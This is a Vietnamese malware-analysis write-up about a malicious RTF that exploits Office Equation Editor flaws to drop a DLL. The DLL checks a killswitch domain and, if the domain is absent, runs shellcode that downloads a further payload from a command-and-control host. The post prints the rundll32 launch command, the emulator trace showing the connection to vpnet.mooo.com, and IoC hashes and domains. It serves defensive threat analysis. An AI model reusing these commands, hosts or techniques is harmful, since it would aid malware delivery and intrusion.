Mở đầu

Gần đây, tôi có nhận được một mẫu mã độc mới c2ea07a400fb89b8f0f9551caa1e27599a4e4b94fde646f167c9e527e19d0fa7

Mẫu mã độc này sử dụng lỗ hổng của Microsoft Office Equation Editor (CVE-2017-11882, CVE-2018-0802).

Phân tích sơ bộ

Tôi sử dụng công cụ rtfobj để phân tích file RTF nhận được:

Malware object
Phân tích RTF với rtfobj

Như trong hình, chúng ta nhận thấy mẫu có nhúng một object Equation. Phân tích file RTF, chúng ta có thể nhận thấy đây là một mẫu mã độc khai thác lỗ hổng Microsoft Office Equation Editor (CVE-2017-11882, CVE-2018-0802). Các phân tích về lỗ hổng này rất nhiều, cách phân tích cũng chi tiết và tỷ mỉ nên tôi sẽ không nêu lại các bước phân tích đó ở đây. Tôi tóm tắt các hành vi độc hại như sau:

  • Ứng dụng Microsoft Word mở file RTF, do đối tượng Equation được nhúng bên trong tài liệu nên EQNEDT32.exe sẽ được kích hoạt.
  • Lợi dụng lỗi của EQNEDT32.exe, 02 file sau được tạo ra trong thư mục %temp%: 8.tadcache.dll
  • adcache.dll chứa mã độc, được thực thi trong máy tính của nạn nhân.

Phân tích adcache.dll

Ứng dụng độc hại được chạy với lệnh như sau:

rundll32.exe %temp%\adcache.dll startwork

Hành vi của ứng dụng độc hại này khá đơn giản:

  • Chạy và kiểm tra killswitch: nếu killswitch tồn tại thì thoát.
  • Nếu killswitch không tồn tại: Kết nối về máy chủ điều khiển để tải mã độc khác về máy, thực thi trên memory của tiến trình rundll32.exe.
Killswitch
www.123456abcgsdwere56463455345435435657222222.com

Tại thời điểm phân tích, killswitch đã được đăng kí

   Domain Name: 123456ABCGSDWERE56463455345435435657222222.COM
   Registry Domain ID: 2452360006_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.hostinger.com
   Registrar URL: http://www.hostinger.com
   Updated Date: 2019-11-07T07:48:02Z
   Creation Date: 2019-11-07T07:48:01Z
   Registry Expiry Date: 2020-11-07T07:48:01Z
   Registrar: Hostinger, UAB
   Registrar IANA ID: 1636
   Registrar Abuse Contact Email: abuse@hostinger.com
   Registrar Abuse Contact Phone: +37064503378
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Name Server: NS1.HOSTINGER.VN
   Name Server: NS2.HOSTINGER.VN
   Name Server: NS3.HOSTINGER.VN
   Name Server: NS4.HOSTINGER.VN

Đây là địa chỉ được T0_ChukX đăng kí. Thank T0_ChukX :+1:

Killswitch

Tiếp tục phân tích, có thể nhận ra rằng: khi không có killswitch, adcache.dll sẽ decode một đoạn shellcode và thực thi, đoạn shellcode này khá ngắn nhưng không dễ đọc.

Shellcode
Shellcode

Tôi sử dụng Qiling - Advanced Binary Emulation framework để phân tích mã shellcode này. Tại thời điểm viết bài, framework cần implement thêm khá nhiều, tuy nhiên để phân tích các mẫu shellcode đơn giản thì tôi nghĩ là vừa đủ, chúng ta sẽ không cần trace thủ công hoặc monitor quá nhiều trong quá trình phân tích. Sau khi cài đặt, tôi sử dụng đoạn mã sau để thực hiện quá trình phân tích:

import sys
sys.path.append("/root/data/research/qiling")
from qiling import *

sc = open('adcache_shellcode.bin', 'rb').read()
ql = Qiling(shellcoder = sc, archtype = "x86", ostype = "windows", rootfs="rootfs/x86_windows", output = "debug")
ql.run()
analyze.py

Và đây là kết quả chạy:

[+] SET_THREAD_AREA selector : 0x73
[+] SET_THREAD_AREA selector : 0x7b
[+] SET_THREAD_AREA selector : 0x83
[+] SET_THREAD_AREA selector : 0x8b
[+] SET_THREAD_AREA selector : 0x90
[+] TEB addr is 0x6000
[+] PEB addr is 0x6044
[+] Loading ntdll.dll to 0x10000000
[+] Done with loading ntdll.dll
[+] Loading kernel32.dll to 0x10175000
[+] Done with loading kernel32.dll
[+] Loading user32.dll to 0x10285000
[+] Done with loading user32.dll
[+] Loading wininet.dll to 0x10379000
[+] Done with loading wininet.dll
0x101899bf: LoadLibraryA(lpLibFileName = "wininet") = 0x10379000
0x103a818e: InternetOpenA(lpszAgent = 0x0, dwAccessType = 0x0, lpszProxy = 0x0, lpszProxyBypass = 0x0, dwFlags = 0x0)
0x1039d9e9: InternetConnectA(hInternet = 0x103a818e, lpszServerName = "vpnet.mooo.com", nServerPort = 0x1bb, lpszUserName = 0x0, lpszPassword = 0x0, dwService = 0x3, dwFlags = 0x0, dwContext = 0x0)
0x1039dc7d: HttpOpenRequestA(hConnect = 0x1039d9e9, lpszVerb = 0x0, lpszObjectName = "/FrCa", lpszVersion = 0x0, lpszReferrer = 0x0, lplpszAcceptTypes = 0x0, dwFlags = 0x84c03200, dwContext = 0x0)
0x103905e8: InternetSetOptionA(hInternet = 0x1039dc7d, dwOption = 0x1f, lpBuffer = 0xfffdffec, dwBufferLength = 0x4)
0x1040a8f8: HttpSendRequestA(hRequest = 0x1039dc7d, lpszHeaders = "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENAU)
", dwHeadersLength = 0xffffffff, lpOptional = 0x0, dwOptionalLength = 0x0)
0x102a5a19: GetDesktopWindow()
0x1041c328: InternetErrorDlg(hWnd = 0x102a5a19, hRequest = 0x1039dc7d, dwError = 0x40138, dwFlags = 0x7, lppvData = 0x0)
0x10186856: VirtualAlloc(lpAddress = 0x0, dwSize = 0x400000, flAllocationType = 0x1000, flProtect = 0x40) = 0x500496c
0x10394406: InternetReadFile(hFile = 0x1039dc7d, lpBuffer = 0x500496c, dwNumberOfBytesToRead = 0x2000, lpdwNumberOfBytesRead = 0xfffdffe8) = 0x0
....

Dễ dàng nhận thấy, mã độc cố gắng kết nối về https://vpnet.mooo.com/FrCa, để tải mã độc khác về máy. Tại thời điểm hiện tại, domain vpnet.mooo.com không còn truy cập được nữa, nên tôi không thể phân tích thêm. Tôi tiếp tục sử dụng công cụ Viettel Threat Intelligence: https://cyberintel.io.

Cyber Intel

Tôi nhận thấy có nhiều IP liên quan tới domain này:

Cyber Intel

Tiếp tục phân tích theo chế độ graph của công cụ Viettel Threat Intelligence, chúng ta nhận thấy có một số domain khác cũng liên quan tới domain này như vpcpnet.mooo.com. Tuy nhiên, phân tích các domain này nằm ngoài khuôn khổ bài viết, nên tôi sẽ trình bày trong một bài viết khác.

Cyber Intel

Kết luận

Mặc dù CVE-2017-11882, CVE-2018-0802 đã có bản vá đầy đủ từ Microsoft, nhưng do tính ổn định của các mã khai thác này, các tác giả viết mã độc vẫn tiếp tục sử dụng chúng trong các tấn công thực tế. Theo quan sát của tôi, trong tương lai gần, các mã tấn công này vẫn được sử dụng chính trong các cuộc tấn công mã độc.

Tài liệu tham khảo

- Another malicious document with CVE-2017–11882 - tác giả Kienm4n0w4r

IoC

RTF Document : c2ea07a400fb89b8f0f9551caa1e27599a4e4b94fde646f167c9e527e19d0fa7

adcache.dll: 337C45CD1A9395097E6D8EBC44DD22D9FB7C6BDE25CA8956FCF3E09EAF31797C

8.t: D447C9252D30F4C40485E4D17A9DAD6899CB55936F16009B4A4367BFA02BE8BA

Domain: vpnet.mooo.com, vpcpnet.mooo.com